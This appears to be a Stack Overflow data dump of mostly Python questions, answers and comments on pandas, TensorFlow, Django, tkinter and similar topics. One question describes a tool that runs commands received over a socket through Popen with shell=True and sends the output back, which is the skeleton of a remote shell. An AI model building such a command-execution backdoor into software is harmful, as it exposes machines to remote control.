has comment: http://stackoverflow.com/comment/80825417
has comment: http://stackoverflow.com/comment/80829662
has comment: http://stackoverflow.com/comment/80825586
has comment: http://stackoverflow.com/comment/80829903
upvote count: 2
has comment: http://stackoverflow.com/comment/80823712
has comment: http://stackoverflow.com/comment/80829193
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80825804
has comment: http://stackoverflow.com/comment/80830321
has comment: http://stackoverflow.com/comment/80823750
accepted answer of: http://stackoverflow.com/q/46937752
score: 2

http://stackoverflow.com/comment/107535015
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/46947094
has text: Well, in that case selecting checkbox it self does not resolve your issue. You have to find a way to resolve the captcha. Btw, have you tried with your [default chrome profile](https://stackoverflow.com/questions/56344560/selenium-point-towards-default-chrome-session/56402113#56402113) to see if it's still showing the recaptcha ?
type: Comment

http://stackoverflow.com/a/47042981
accepted answer of: http://stackoverflow.com/q/46922180
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46922180
type: Answer
has body: You're not updating the screen (pygame.display.update()) in your game loop
score: 2

http://stackoverflow.com/comment/80878078
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46962897
has text: hm, curious what happens if you use the imshow function from matplotlib. E.g., `plt.imshow(file_mod, cmap='binary')`

http://stackoverflow.com/comment/84769870
has text: @EvilSmurf I guess this is exactly what that question is about. The question only concerns the range creation, not the indexing of another array.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46929738
type: Comment

http://stackoverflow.com/comment/80934636
comment on: http://stackoverflow.com/a/46985566
type: AnswerComment
score: 0
has text: @minmoica fixed your issue?
type: Comment

http://stackoverflow.com/comment/80760876
comment on: http://stackoverflow.com/q/46906052
has text: In a point plot the xaxis is a categorical axes, imagine it to be more like ["apples", "bananas", "cherry"], hence there is no "distance". Instead, you would probably want to use a matplotlib scatter or errorbar plot.
score: 2
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47044157
has title: How to use Popen with an interactive command? nslookup, ftp
has comment: http://stackoverflow.com/comment/81036112
has comment: http://stackoverflow.com/comment/81036308
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81036245
has comment: http://stackoverflow.com/comment/81036620
tagged with: python
has comment: http://stackoverflow.com/comment/81035748
has body: Is there any way to use Popen with interactive commands? I mean nslookup, ftp, powershell... I read the whole subprocess documentation several times but I can't find the way. What I have (removing the parts of the project which aren't of interest here) is: from subprocess import call, PIPE, Popen command = raw_input('&gt;&gt;&gt; ') command = command.split(' ') process = Popen(command, stdout=PIPE, stderr=PIPE, shell=True) execution = process.stdout.read() error = process.stderr.read() output = execution + error process.stderr.close() process.stdout.close() print(output) Basically, when I try to print the output with a command like dir, the output is a string, so I can work with the .read() on it. But when I try to use nslookup for example, the output isn't a string, so it can't be read, and the script enters in a deadlock. I know that I can invoke nslookup in non-interactive mode, but that's not the point. I want to remove all the chances of a deadlock, and make it works with every command you can run in a normal cmd. The real way the project works is through sockets, so the raw_input is a s.recv() and the output is sending back the output, but I have simplified it to focus on the problem.
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/81037286
tagged with: subprocess
tagged with: popen
has comment: http://stackoverflow.com/comment/81036768
answer count: 0
has comment: http://stackoverflow.com/comment/81036853

http://stackoverflow.com/a/46998317
has comment: http://stackoverflow.com/comment/80944542
has comment: http://stackoverflow.com/comment/80944574
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/80944581
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/80944731
has body: Repeat every line with an extra column ranging 1M..2M The problem is that you store all these configurations in memory first. First of Python has not a very efficient memory model, and furthermore one million entries per row is quite large anyway. I propose to not store the data in a list, but simply write these to the file immediately: total = 2000000 def resource_file(info): with open(info, "r") as data_file: reader = csv_reader(data_file, delimiter=",") with open(work_dir + "new_data.csv", "w") as new_data: writer = csv_writer(new_data, delimiter=",") for row in reader: rowa, rowb = row[0:2] for data in xrange(1000000,total): writer.writerow([rowa,rowb,data]) Take rows 1M-2M of the file In case you want to take lines 1M to 2M of the original file, you can write it as: from itertools import islice total = 2000000 def resource_file(info): with open(info, "r") as data_file: reader = csv_reader(data_file, delimiter=",") with open(work_dir + "new_data.csv", "w") as new_data: writer = csv_writer(new_data, delimiter=",") for row in islice(reader,1000000,total): writer.writerow(row) or you can simplify it, like @JonClemens says, with: from itertools import islice total = 2000000 def resource_file(info): with open(info, "r") as data_file: reader = csv_reader(data_file, delimiter=",") with open(work_dir + "new_data.csv", "w") as new_data: writer = csv_writer(new_data, delimiter=",") writer.writerows(islice(reader,1000000,total))
has comment: http://stackoverflow.com/comment/80944400
answers question: http://stackoverflow.com/q/46998259
has comment: http://stackoverflow.com/comment/80944527

http://stackoverflow.com/q/46992029
has body: For all indices, i am required to remove that place's Digit. An integer a, converting it to String, i.e. S. And there after iterate through the length of string, for i in range(len(S)): new =S[:i]+S[i+1:] Is there any more efficient way to remove the digit from integer?
has answer: http://stackoverflow.com/a/47044185
has comment: http://stackoverflow.com/comment/80930920
downvote count: 2
has comment: http://stackoverflow.com/comment/80930700
tagged with: python
answer count: 4
has answer: http://stackoverflow.com/a/72737014
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47044185
has answer: http://stackoverflow.com/a/46992691
has title: Remove a digit from a number(integer) in python
has comment: http://stackoverflow.com/comment/80930607
score: 1
upvote count: 3
has comment: http://stackoverflow.com/comment/80930837
has comment: http://stackoverflow.com/comment/80930658
accepted answer: http://stackoverflow.com/a/46992197
has comment: http://stackoverflow.com/comment/80930665
has comment: http://stackoverflow.com/comment/80930618
tagged with: string
has answer: http://stackoverflow.com/a/46992197
favorite count: 0
type: Question

http://stackoverflow.com/comment/80791442
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46921730
has text: That is entirely possible (likely?). Did you change it to use `itervalues()`? Without that change for 2.7, it will be making copies of every dictionary. Other than that, have you considered using a different language? Python can solve this problem elegantly, but it's rarely the fastest.

http://stackoverflow.com/comment/80813584
type: Comment
type: QuestionComment
has text: Could you give a less abstract example? That decorator seems weird. If you want it to be easier to test, don't close over `function_to_mock`, refactor to make it an explicit parameter at some level.
comment on: http://stackoverflow.com/q/46933136
score: 0

http://stackoverflow.com/a/46941832
type: Answer
has body: I do not know the cause of the problem, but I encountered it in one of ours applications that use SmartGWT framework. Nothing worked, the button seemed always to be visible and clickable for WebDriver, and sometimes responded to the click, but most often did not. We solved that in such a way, that after clicking the button we wait a few seconds for the effect of clicking this button (some text should apper on the screen, a window should dissapear etc.), and if the effect does not appear - the button is clicked again and again in a loop. One of the buttons got a record (we record retries in the log) - had to be clicked 13 times before it responded. Another method which sometimes works in this case is to sending ENTER key to the button rather than click on it, that is: findElement( button ).sendKeys( Keys.ENTER );
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/46929976
downvote count: 0

http://stackoverflow.com/comment/80939367
has text: @Bharathshetty Added the op to the qsn. Summation showed to indicate how the amounts add up. But the final amount must be what it is equal to.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46995997

http://stackoverflow.com/a/47014454
answers question: http://stackoverflow.com/q/47008099
score: 0
has body: Welcome to Stack Overflow. When you have a chance, take a look at the help pages to see how to format your question to increase the chances that someone will be able to help you. How to convert weeks,months into days in python pandas? Take a look at the dateparser module. I think this will do precisely what you're looking for.
type: Answer

http://stackoverflow.com/a/46940502
has comment: http://stackoverflow.com/comment/80828483
has comment: http://stackoverflow.com/comment/80828240
has comment: http://stackoverflow.com/comment/80828745
type: Answer
has body: Just import csv at the beginning of your program. import csv Please read the documentation for csv writer to know further:- Link: https://docs.python.org/2/library/csv.html csv.writer(csvfile, dialect='excel', **fmtparams) Returns a writer object responsible for converting the user’s data into delimited strings on the given file-like object. csvfile can be any object with a write() method. If csvfile is a file object, it must be opened with the b flag on platforms where that makes a difference. An optional dialect parameter can be given which is used to define a set of parameters specific to a particular CSV dialect. It may be an instance of a subclass of the Dialect class or one of the strings returned by the list_dialects() function. The other optional fmtparams keyword arguments can be given to override individual formatting parameters in the current dialect.
score: 0
answers question: http://stackoverflow.com/q/46940424
has comment: http://stackoverflow.com/comment/80828293

http://stackoverflow.com/q/46987096
has comment: http://stackoverflow.com/comment/80921020
answer count: 2
tagged with: python
linked to: http://stackoverflow.com/q/37642573
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80923614
has comment: http://stackoverflow.com/comment/80926266
has comment: http://stackoverflow.com/comment/80926313
has comment: http://stackoverflow.com/comment/80921909
has comment: http://stackoverflow.com/comment/80922489
score: 0
has answer: http://stackoverflow.com/a/46987830
has title: how do i interup input in processing in python
linked to: http://stackoverflow.com/q/3471461
has comment: http://stackoverflow.com/comment/80927691
has body: I try to make a simple game, give a sum random number and input to answer it, I try to limit the time for input, but I can stop the input processing when timeout. score=0 from threading import Timer while score&lt;=3: import random a=random.randint(0,100) b=random.randint(0,100) sum=a+b d=str(sum) while True: print(a,"+",b,"=") timeout = 3 t = Timer(timeout, print, ['Sorry, times up']) t.start() prompt = "you have %d s to input your answer\n" % timeout c = input(prompt) t.cancel() #i want to stop input c and make other code like 'do you want to play again' if c.isdigit(): break else: print('invalid input') continue result=c if result==d: score=score+1 print('your score',score) else: score=score-1 print('your score',score) else: print('you win')
has answer: http://stackoverflow.com/a/46988506
has comment: http://stackoverflow.com/comment/80921308
type: Question
has comment: http://stackoverflow.com/comment/80921357
has comment: http://stackoverflow.com/comment/80922689

http://stackoverflow.com/comment/80961324
comment on: http://stackoverflow.com/q/47007253
score: 0
type: Comment
type: QuestionComment
has text: Is the word "I" in your stop list? And if so, does it appear before "I'm"?

http://stackoverflow.com/a/47000534
answers question: http://stackoverflow.com/q/47000331
has body: From the screenshot you posted, this should give you the ID of the shown Synset: a.relations[RelationType.HYPONYMS][0].id For a list with all the IDs, try this: [b.id for b in a.relations[RelationType.HYPONYMS]] Or for the IDs for all the types, try [b.id for t in a.relations.values() for b in t] Here, RelationType is the name of the enum class defining the types. Depending on how exaclty you imported the package, you might have to prefix it as pyplwnxml.enums.RelationType or pyplwnxml.RelationType.
accepted answer of: http://stackoverflow.com/q/47000331
type: Answer
score: 0
type: AcceptedAnswer

http://stackoverflow.com/a/47024706
answers question: http://stackoverflow.com/q/47024576
has body: You should use sets for membership checks as they are faster than lists. Moreover, while true is preferred over a while some condition[Python docs]. def userMove(): while True: usersMove = input("Time to make your choice: ") if usersMove in {'rock', 'paper', 'scissors'}: return usersMove print("That is not a valid") You can also add usersMove.lower() to it if you don't want case sensitivity as suggested by @scharette and @yklsga.
score: 3
has comment: http://stackoverflow.com/comment/80996847
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/80996793
has comment: http://stackoverflow.com/comment/80996731
type: Answer
has comment: http://stackoverflow.com/comment/80997474

http://stackoverflow.com/comment/80936981
has text: @PatrickSturm 1000 to 10000, no difference... The code is here https://gist.github.com/anonymous/c816eb15daf949543e96dd2c64174670
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46995209

http://stackoverflow.com/comment/80879937
score: 0
comment on: http://stackoverflow.com/a/46966168
type: Comment
type: AnswerComment
has text: Oh damn! Thank you man. That is exactly was i was looking for!

http://stackoverflow.com/q/46906762
has answer: http://stackoverflow.com/a/46907247
score: 0
type: UnansweredQuestion
has title: Python: reading local HTML files, using findall function to extract text into new HTML file
answer count: 1
has body: im trying to extract elements from a number of different HTML files using findall and put them into a new HTML file. so far i have news = ['16-10-2017.html', '17-10-2017.html', '18-10-2017.html', '19-10-2017.html', '21-10,2017.html', '22-10-2017.html'] def extracted(): raw_news = open(news, 'r', encoding = 'UTF-8') im creating a function that will be able to read these files, extract specific parts so i can put them into a new html file but im not sure if this code for reading the files is correct. how would i be able to extract elements from these files.
tagged with: http://stackoverflow.com/tag/html
tagged with: findall
tagged with: python
type: Question

http://stackoverflow.com/comment/80892324
score: 0
type: Comment
has text: This woooorks!!!thank you Sir!!Anything I can do to help you, do not hesitate to contact me!!!
comment on: http://stackoverflow.com/a/46957337
type: AnswerComment

http://stackoverflow.com/comment/80950212
score: 0
type: Comment
has text: @MalikKoné, if your goal is to clean up numeric columns - i.e. replace all values to numeric dtypes, and replacing those that can't be converted to numeric dtypes to NaN's, then Bharath shetty's solution is the most idiomatic approach. If you want to replace cells of specific dtypes with NaN's then you can choose between jezrael's and mine solution...
type: AnswerComment
comment on: http://stackoverflow.com/a/47001561

http://stackoverflow.com/a/47024393
answers question: http://stackoverflow.com/q/47024278
upvote count: 4
score: 4
accepted answer of: http://stackoverflow.com/q/47024278
downvote count: 0
has comment: http://stackoverflow.com/comment/80996945
has body: If you do variable assignment within function the global variable would be ignored and won't be accessible within function execution, in sample with math lib you do not override name math itself, that's why it works. Snipped below would give you same error with math lib: import math def my_function(): print(math.pi) math = 1 my_function() You can use statement global before accessing variable, but if you will do any assignment later you will override global variable, so it's better to ALWAYS avoid doing that. import math def my_function(): global math print(math.pi) math = 1 print(math) # -&gt; &lt;module 'math' from ... my_function() # -&gt; 3.14159265359 print(math) # -&gt; 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80996311
has comment: http://stackoverflow.com/comment/80996515
type: Answer

http://stackoverflow.com/a/68889423
has body: The above did not work for me, but I was able to find some solutions by running dir on request. request.resolver_match.view_name seems to give me the correct name for the view.
downvote count: 0
upvote count: 7
has comment: http://stackoverflow.com/comment/122982543
score: 7
type: Answer
answers question: http://stackoverflow.com/q/46989848

http://stackoverflow.com/comment/80866620
comment on: http://stackoverflow.com/q/46918321
type: Comment
score: 0
has text: Then, please consider accepting it by clicking the check-mark. This indicates to the wider community that you've found a solution and gives some reputation to both the answerer and yourself. There is no obligation to do this.
type: QuestionComment

http://stackoverflow.com/comment/80821830
comment on: http://stackoverflow.com/a/46937053
has text: `common = dict1.keys() & dict2` is fine here... (unless we're being 2.x compatible)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/80834966
type: Comment
has text: Thank you for comment. I want you to give this output: isim giriniz: ab çıktı: Ankara Bursa Or; isim giriniz: ac çıktı: Ankara Ceyhan
type: AnswerComment
comment on: http://stackoverflow.com/a/46943714
score: 0

http://stackoverflow.com/comment/81023513
has text: This is because `logger` is `global` from the view of Downloader(). You can also pass your dependencies over the class __init__() function.
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47038399

http://stackoverflow.com/comment/80781487
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46916904
type: AnswerComment
has text: your code answers the question and works perfectly, even with resizing and overlapping. I see you used QRubberBand, which you mentioned to me in another post. Once again, it will take me time to understand how you accomplished this. Thank you.

http://stackoverflow.com/a/46966640
downvote count: 0
type: Answer
score: 3
upvote count: 3
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80881355
answers question: http://stackoverflow.com/q/46966466
has body: I think the issue is with how you are defining your configuration. Nginx expects only one uwsgi_ignore_headers directive but you are providing three - two of these will be ignored. Try updating your configuration to: uwsgi_ignore_headers Set-Cookie Cache-Control Vary;
accepted answer of: http://stackoverflow.com/q/46966466

http://stackoverflow.com/q/47049853
tagged with: tensorflow
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47050169
has body: The value of m is always [1, 1, 1, 1]? Why? However, the values of w &amp; b are changed properly. Confused. import tensorflow as tf import numpy import os import sys learnRateT = 0.1 batchMulti = 5000 x = tf.placeholder(tf.float32) xData = numpy.array([[4, 5, 3, 7], [2, 1, 2, 6], [9, 8, 7, 6], [0, 1, 9, 3], [3, 3, 0, 3], [6, 2, 5, 8], [7, 4, 4, 7], [5.0, 1, 8, 0], [5.0, 1, 1, 0], [2, 1, 3, 1]], dtype=numpy.float32) rowSize = int(xData[0].size) rowCount = int(xData.size / rowSize) yTrain = tf.placeholder(tf.float32) yTrainData = numpy.array([1, 0, 1, 1, 0, 1, 0, 0, 1, 1], dtype=numpy.float32) m = tf.Variable(tf.ones([rowSize], dtype=tf.float32), dtype=tf.float32, trainable=True) m9 = tf.fill(m.shape, 9.0) mm = tf.mod(m * 10, m9) + 1 y0 = tf.floor(tf.mod(x, mm)) w = tf.Variable(tf.ones([rowSize]), dtype=tf.float32) b = tf.Variable(0, dtype=tf.float32) y = tf.reduce_mean(tf.nn.sigmoid(w * y0 + b)) loss = tf.abs(y - tf.reduce_mean(yTrain)) optimizer = tf.train.AdadeltaOptimizer(learnRateT) train = optimizer.minimize(loss) init = tf.global_variables_initializer() sess = tf.Session() sess.run(init) totalLossSum = 0.0 for i in range(batchMulti): lossSum = 0 for j in range(rowCount): result = sess.run([loss, y, y0, yTrain, x, w, b, train, m, mm], feed_dict={x: xData[j], yTrain: yTrainData[j]}) lossSum = lossSum + float(result[0]) if i % 1000 == 0: print("i: %d, j: %d, loss: %10.10f, y: %f, yTrain: %f, x: %s, y0: %s, m: %s, mm: %s" % (i, j, float(result[0]), float(result[1]), yTrainData[j], xData[j], result[2], result[8], result[9])) if i % 1000 == 0: print("avgLoss: %10.10f(%e)" % (lossSum / rowCount, lossSum / rowCount)) print("Calculate result: ------") result = sess.run([y, w, b, loss], feed_dict={x: [5.0, 1, 6, 0], yTrain: 0}) print(result) The output is something like: i: 4000, j: 0, loss: 0.1410247087, y: 0.858975, yTrain: 1.000000, x: [ 4. 5. 3. 7.], y0: [ 0. 1. 1. 1.], m: [ 1. 1. 1. 1.], mm: [ 2. 2. 2. 2.] i: 4000, j: 1, loss: 0.7396742105, y: 0.739674, yTrain: 0.0…
has answer: http://stackoverflow.com/a/47050169
downvote count: 0
tagged with: python
linked to: http://stackoverflow.com/q/41780344
type: AnsweredQuestion
has title: Why the variable value not changed during the training process in TensorFlow?
tagged with: deep-learning
answer count: 1
tagged with: machine-learning
upvote count: 1
score: 1

twilio
tag name: twilio
type: Tag
tags question: http://stackoverflow.com/q/47051757

http://stackoverflow.com/q/46990348
has answer: http://stackoverflow.com/a/47004697
accepted answer: http://stackoverflow.com/a/47004697
has title: AggregateBykey using python sets
favorite count: 0
has body: i have come across the following scala example which explains aggregateByKey. Scala Example: val pairs=sc.parallelize(Array(("a",3),("a",1),("b",7),("a",5))) import scala.collection.mutable.HashSet //the initial value is a void Set. Adding an element to a set is the first //_+_ Join two sets is the _++_ val sets = pairs.aggregateByKey(new HashSet[Int])(_+_, _++_) sets.collect output of above scala code is: res5: Array[(String, scala.collection.mutable.HashSet[Int])] =Array((b,Set(7)), (a,Set(1, 5, 3))) I rewrote the above scala code in python: pair = sc.parallelize([("a",3),("a",1),("b",7),("a",5)]) sets=pair.aggregateByKey((set()),(lambda x,y:x.add(y)),(lambda x,y:x|y)) sets.collect() i don't know what is wrong. Python code returns the following error message: AttributeError: 'NoneType' object has no attribute 'add'
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/80947974
tagged with: scala
tagged with: pyspark
tagged with: python
has answer: http://stackoverflow.com/a/57400416
type: AnsweredQuestion
downvote count: 0
score: 1
upvote count: 1
possible better answer: http://stackoverflow.com/a/57400416
has comment: http://stackoverflow.com/comment/80928280
has comment: http://stackoverflow.com/comment/80947905

http://stackoverflow.com/comment/80779277
comment on: http://stackoverflow.com/q/46915815
score: 0
type: QuestionComment
has text: `2017-11-3` ought to be `2017-11-03`. Leading zeroes are not optional.
type: Comment

http://stackoverflow.com/q/46934148
has body: Got in touch with a few thousand dates using the following format: 2017-10-23T03:36:23.337+02:00 I only know that it's CET (central european time). Instead of trim the value manually, there is any solution that would give me this date in the format dd/mm/yy hh/mm/ss that I could use to subtract (find the diference between them) the dates without problems? Thanks for your inputs. Here my code: from_date="2017-10-23T03:36:23.337+02:00" import time conv=time.strptime(from_date,"%Y-%m-%d %H:%M:%S") print(time.strftime("%d/%m/%Y %H:%M:%S",conv))
answer count: 1
linked to: http://stackoverflow.com/q/311627
favorite count: 0
has comment: http://stackoverflow.com/comment/80815411
type: Question
has comment: http://stackoverflow.com/comment/80815523
linked to: http://stackoverflow.com/q/79797
has title: user friendly date format using python
tagged with: datetime
has comment: http://stackoverflow.com/comment/80815310
tagged with: python
has comment: http://stackoverflow.com/comment/80816269
tagged with: date
has comment: http://stackoverflow.com/comment/80815294
has answer: http://stackoverflow.com/a/46934701
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46934701
downvote count: 4
has comment: http://stackoverflow.com/comment/80815348
upvote count: 0
score: -4

http://stackoverflow.com/comment/80793337
comment on: http://stackoverflow.com/q/46923003
has text: A `not in` check for something that *is* in the list is going to return `False`. Why would you expect otherwise?
type: Comment
type: QuestionComment
score: 4

http://stackoverflow.com/a/46971139
type: Answer
has body: This is not nearly as compact as your one-liner, but it solves your problem and you can perhaps make it more compact: bulk_details = { 'ad':'ad', 'ad2': [ {'ad':'ad'}, {'ad':'ad'} ] } def encrypt(to_encrypt): return '?' + to_encrypt + '?' def encrypt_nested(dt): if isinstance(dt, dict): for key, value in dt.items(): if isinstance(value, str): dt[key] = encrypt(value) else: encrypt_nested(value) return dt else: # elif isinstance(dt, list) for value in dt: if isinstance(value, str): value = encrypt(value) else: encrypt_nested(value) return dt print(encrypt_nested(bulk_details)) # {'ad': '?ad?', 'ad2': [{'ad': '?ad?'}, {'ad': '?ad?'}]} It iterates through a nested dict including arrays for any amount of levels using a recursing function.
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/80894561
score: 4
answers question: http://stackoverflow.com/q/46970750

http://stackoverflow.com/comment/81070360
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46999771
has text: You could group the graphs by certain features. Maybe group by tuple(sorted(edge counts)), and then only compare the graphs that could possibly be isomorphic. This would change your initial search from O(N^2) to O(N).
score: 3

http://stackoverflow.com/comment/80889444
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46969066
has text: @MaheshKaria I was using `distutils` namely. See my update.
type: Comment

http://stackoverflow.com/q/46963606
tagged with: tensorflow
type: Question
has answer: http://stackoverflow.com/a/46964017
tagged with: python-3.x
tagged with: python
type: AnsweredQuestion
score: 0
has body: I get a strange error regarding stacks when I try to construct a simple expression in a custom, named graph. The following code works fine: tf.reset_default_graph() # The basic model X = tf.placeholder(tf.float32, [None, MnistDim], "X") W = tf.get_variable( name="W", shape=[MnistDim, DigitCount], dtype=np.float32, initializer=tf.zeros_initializer() ) b = tf.get_variable( name="b", shape=[DigitCount], dtype=np.float32, initializer=tf.zeros_initializer() ) a = tf.matmul(X, W, name="a") + b y = tf.nn.softmax (a, name="y") # The training elements t = tf.placeholder (tf.float32, [None, 10], "t") cross_entropy = tf.reduce_mean(-tf.reduce_sum(t * tf.log(y), reduction_indices=[1])) # I know about tf.nn.softmax_cross_entropy_with_logits(a) train_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy) However if I put that code in a custom graph by prepending the following: mnist_train_graph = tf.Graph() with mnist_train_graph.as_default(): tf.reset_default_graph() # The basic model X = tf.placeholder(tf.float32, [None, MnistDim], "X") etc. etc. train_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy) Then I get the following error. --------------------------------------------------------------------------- IndexError Traceback (most recent call last) &lt;ipython-input-23-13b0e3c5f232&gt; in &lt;module&gt;() 30 # More stable to use the following 31 # tf.nn.softmax_cross_entropy_with_logits(a) ---&gt; 32 train_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy) /opt/local/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/contextlib.py in __exit__(self, type, value, traceback) 87 if type is None: 88 try: ---&gt; 89 next(self.gen) 90 except StopIteration: 91 return /opt/local/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/tensorflow/python/framework/ops.py in get_controller(self, default) 3626 finally: 3627 if self._enforce_nesting: -&gt; 3628 if self.stack[-1] is not default: 3629 rais…
answer count: 1
accepted answer: http://stackoverflow.com/a/46964017
has title: TensorFlow/Python: "Nesting violated for default stack" error with custom graph

http://stackoverflow.com/q/47029065
has body: I want the class material_menu to inherit Menubutton's methods grid and grid_forget so that I can show or hide the widget. I have no idea which class I should inherit and how to modify the function set_state. Please help, suggest some examples. from tkinter import * from tkinter import ttk class material_menu(): def __init__(self, name): menubutton = ttk.Menubutton(text=name) menubutton.menu = Menu(menubutton) menubutton["menu"] = menubutton.menu dict = {} for sheet_name in ["Menu A", "Menu B", "MenuC"]: dict[sheet_name] = Menu(menubutton.menu) menubutton.menu.add_cascade(label=sheet_name, menu=dict[sheet_name]) for material in ["item1", "item2", "item3"]: dict[sheet_name].add_command(label=material, command=lambda sheet_name=sheet_name, material=material: test(sheet_name, material)) def set_state(self, state, row): if state==0: menubutton.grid_forget() else: menubutton.grid(column=0, row=row, sticky=(N, S, E, W)) def test(sheet_name, material): print(sheet_name) print(material) if __name__ == "__main__": win = Tk() a=material_menu("Menubutton") a.set_state(1, 0) win.mainloop()
type: Question
score: 0
has answer: http://stackoverflow.com/a/47041291
tagged with: python
tagged with: tkinter
type: UnansweredQuestion
answer count: 1
has title: How to inherit grid from menu/menubutton

http://stackoverflow.com/a/73366132
type: Answer
has body: You can use aggregate function to get the min and max value in a single line of code. For the entire dataset: df.agg(['min', 'max']) For a specific column: df['column_name'].agg(['min', 'max'])
upvote count: 22
answers question: http://stackoverflow.com/q/47006617
downvote count: 0
score: 22
has comment: http://stackoverflow.com/comment/136582077

http://stackoverflow.com/q/46910486
accepted answer: http://stackoverflow.com/a/46925551
has title: Swig and pointer problems (python)
linked to: http://stackoverflow.com/q/38437615
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/46925551
upvote count: 1
score: 1
answer count: 1
has body: I'm using Swig to generate a python wrapper for a DLL file. What I do is: Generate the wrapper and loader file using swig -c++ -python myfile.i Create a new DLL file, include myfile_wrapper.cxx and compile to _myfile.pyd. Load the module myfile.py created by Swig in Idle and try to use it. The interface file looks like: %module myfile /* Make a test with cpointer - needed?? */ %include cpointer.i %pointer_functions(MyHandle, my_handle_p); %pointer_class(int, intp); %{ #define SWIG_FILE_WITH_INIT #include "MyFile.h" }% %include "MyFile.h" The function looks like typedef struct tagMyHandle { void* reserved; } *MyHandle; int OpenFile(const char *szPath, MyHandle* pFile); // pFile is an out parameter int GetNumberOfItems(MyHandle hFile, int *pnNrOfItems); // pnNrOfItems is an out parameter If I try to use this from Python I have to do like this: import myfile handle_p = myfile.new_my_handle_p() myfile.OpenFile("Path", handle_p) handle = myfile.my_file_p_value(handle_p) num_items_p = myfile.new_intp() myfile.GetNumberOfItems(handle, num_items_p) num_items = num_items_p.value() Am I using Swig incorrectly? It feels that it's a very cumbersome way to call the functions that are supposed to be wrapped for Python. I would like to do something like: result, handle = OpenFile("path") result, items = GetNumberIfItems(handle) I can't change the source code for myfile.h. I'm looked at input/output parameters, but do I have to define them for each output type? MyFile.h have hundreds of functions with different output types. And it only supports primitive data types, but most types in MyFile.h are not primitive types, but like the struct MyHandle. I have looked at SWIG function with pointer struct and http://www.swig.org/Doc3.0/Python.html#Python_nn18 as well, but without any good solution. Update 1 After a lot of help, I've solved most problems, but I still have a few left that I don't understand. Problem 1: // For the out parameter, shouldn't be needed? %typemap(in,numinputs=0) M…
tagged with: python
favorite count: 0
type: Question
tagged with: c++
has comment: http://stackoverflow.com/comment/80786700
tagged with: swig

openshift
tags question: http://stackoverflow.com/q/46927162
tag name: openshift
type: Tag

http://stackoverflow.com/q/46932542
tagged with: string
score: 2
has answer: http://stackoverflow.com/a/46933165
has comment: http://stackoverflow.com/comment/80812267
has comment: http://stackoverflow.com/comment/80813253
tagged with: findall
answer count: 1
favorite count: 0
type: Question
has title: search and count specific phrases with special characters in text files
upvote count: 2
type: UnansweredQuestion
downvote count: 0
has body: I have a list of search phrases where some are single words, some are multiple words, some have a hyphen in between them, and others may have both parentheses and hyphens. I'm trying to process a directory of text files and search for 100+ of these phrases, and then count occurrences. It seems like the code below works in 2.7x python until it hits the hyphenated search phrases. I observed some unexpected counts on some text files for at least one of the hyphenated search phrases. kwlist = ['phraseone', 'phrase two', 'phrase-three', 'phrase four (a-b-c) abc', 'phrase five abc', 'phrase-six abc abc'] for kws in kwlist: s_str = kws kw = re.findall(r"\b" + s_str +r"\b", ltxt) count = 0 for c in kw: if c == s_str: count += 1 output.write(str(count)) Is there a better way to handle the range of phrases in the search, or any improvements I can make to my algorithm?
has comment: http://stackoverflow.com/comment/80813087
tagged with: python

http://stackoverflow.com/q/46986433
type: Question
has title: Django jsonfield persisting old object values in a loop
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80920062
tagged with: django
upvote count: 1
tagged with: python
has body: Here is the model: class ModelA(models.Model): field1 = models.CharField(max_length=100) field2 = models.CharField(max_length=100) field3 = JSONField(default=[]) def save(self, *args, **kwargs): # Below print should be None # But it shows the value of the previously created object, why ? print "------------------------------------------------" print self.id print "self.field3" print self.field3 self.field2 = self.field1 + " world" self.field3.append(self.field2) super(ModelA, self).save(*args, **kwargs) Here is the view: def view1(request): for x in range(1, 3): a = ModelA.objects.create(field1="hello%s" % x) Expected output: # None # self.field3 # [] # None # self.field3 # [] Achieved output: # None # self.field3 # [] # None # self.field3 # [u'Hello1 world'] # None # self.field3 # [u'Hello1 world', u'Hello2 world'] So, as per the given output, can you tell me why its using previous objects values while creating a new object ?
has answer: http://stackoverflow.com/a/46986565
has comment: http://stackoverflow.com/comment/80919941
score: 1
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/80920010
favorite count: 0
has comment: http://stackoverflow.com/comment/80919924

http://stackoverflow.com/q/47026046
answer count: 1
downvote count: 0
upvote count: 1
score: 1
favorite count: 0
type: Question
has title: find row before rows with same values in pandas dataframe
tagged with: python
